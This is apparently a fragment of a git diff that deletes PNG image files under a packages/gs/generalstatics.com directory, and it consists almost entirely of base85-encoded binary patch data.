zLlFr?V;hwVdYGIxM=MPD0zRY}GSifzd<$Ql53`v}ZRG)g{d&`hkKgOxZ9xkHfUuJ+ z*Xk(%NQ4iq0ik&Z;S~&zG1-~v(K`!=+Mio86fC{7j{SL^E&5-#f?_)pr7i+qJpPYc z(VeG%+5Tw&MDO(Q_x8Va_UGwe#($rZcSJ~pvtj?UJIsINi~gT4v*D9eK=zp(lGH!9 zBJgdzdd`8)L-5Hfs_m7%oSPDG(H{`y=)&dhh0kK`h_-VmYv&<+8vNfU@PZb%*OhhW zAq=Yn;4|d_&~gGk4hGaHylg7qVo%Id;Xk`s)V}}s29J>?O=k26e1t0?5cItgvhCr3 z4RZZ8nnn1eEe?)v$gFSx^S2+L`7W-;2GqPd;AJTEOY;+Y*X~gA+utnwDSd>XzI0DR zVOR)Y$B6OVrdup(O@Wrp#a!sFfa8;4#k7K;EiEH2v#dTzcEyhR^=r%PbsjUxK9%{& zmd7WpIo8$Ucmo+yQ)ZQyH$9EACKr16wuUBF#4Y&(+yl$Lk6j2hQ|(Llw;6)yMQmGm zqkUOEMp<3%MRW?MO85PBwUE>3<1TiicqMPX%4OF^GJj=HUs~o&LhrKQmO#*nfHCi& zE4~%^$^MGWu*)6AHO*RG0I=ua&i@6tT;RJRG4flqmZit=b37MH*>mSX`?|;>9Ky;k)-g>3w@T)PEB1aLMl5^Tn?zs8Ecx~|I z==8eOdLfpryCg7q(zCfxs@3b1`!sz$Ut~~ZZB=CLqgd)XTWH{#_;8?`b3gNf85wnw2wGxe;iD@obp7D45Rp1zuC(EqJF{=}(vyZPev(~aZ7RH3=a0x{JkLgM^S=cX_7N$1C_^}FWuf7im3P~lho+<@SM z+~W4vra4aSPOT3oQb3Q%iW1d6x4II(!Q+|fR^2MY-4iQCPorMG)BeH{skPeN^Q7yI zLoaWWgV31LnV}|;KZ2?>TC5--S3X@7M6htv!5oYkTyytV0nF}7=v zw(VaL|4HMB;tA-@`+#+==Ay_vt98=0kHb~}-q{&>bji$pT-IVl{^$?0Wp=duR(EN< zz_f95N8HLrqGesdf%_#&%&NSNb?lkZug3L>>+8w3@9%0~{8#vt87k0n@?1H?=xlGj zO}CZjQcv3D&e463d*p-MXVKumQp{)SZ`HVbsIIBdEG78$yNJmwX2IEDe{Y-KcMCza zSLQQ=g_19gbPTOG?s`o4v4HJv#^TxwwtaKF<Z6#Wmb_hah#g(RwwV1Gv&_D)jrtceY4_;O=9L$$uj7UCQQ-& zjhq#aXGpnDWs-QH`a1jSg00UJH{&vIdFx9pzrBTU3w(EA*`UiYh+LmowH)A24qEZT zloTYr6n^%7V>2MgR$vC-6*<3OUg4;c&Wcdb6?t@4H{ZH>J2SbbM}C+|$@3oOE4pj2 z7?d>~6r|VXy;Z!wvcS`u*+HtRRI#pGY+q0LcYt^lChROx-^8F%=6rv9b55L>_mYrn zc5_d8=V;#9TyBM!=3X4yj<3F?mB|&}1O@PvY>waB>R;e%6LVc&3(3(OW-b_PF27z6 ziIn`Ed=hQh-RJPr#rTF*;!^qx`Wu5yrgpr}ZnoMm6jB}zYul>|n{}JvxB-b#(OdZ{ptj z>PsoxCF%Ap{#=7!nfe2O?1{Ykwzc77KK>!~rMHl%c>w@mHLh0ab!ZAi1pr_l!EoYF zGw<#WE5Y(~0D!bKbx*C~*_(B}I$U<}EOw_mKvVz#rSLnW>x*8}*FVxQhzbC}4z9<3 z($TlIPs8K`tNs8Wd#b+X@0azfqx(_xbfPEv(Moqv2ND$kK&Je7;f2YNA*}iX002Y< z004lf0000{0RR9XDgbbuh$a9;1poku3IG5AQ2{{pVB!xD6#xMEM1#=}007v`{|Bxf V!HTHzAMgMG002ovPDHLkV1oU0J$e8D diff --git a/packages/gs/generalstatics.com/p2inv.png b/packages/gs/generalstatics.com/p2inv.png deleted file mode 100644 index 398c6c43c5d4338cf7bf8a3247e28a616ebb654e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 40104 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 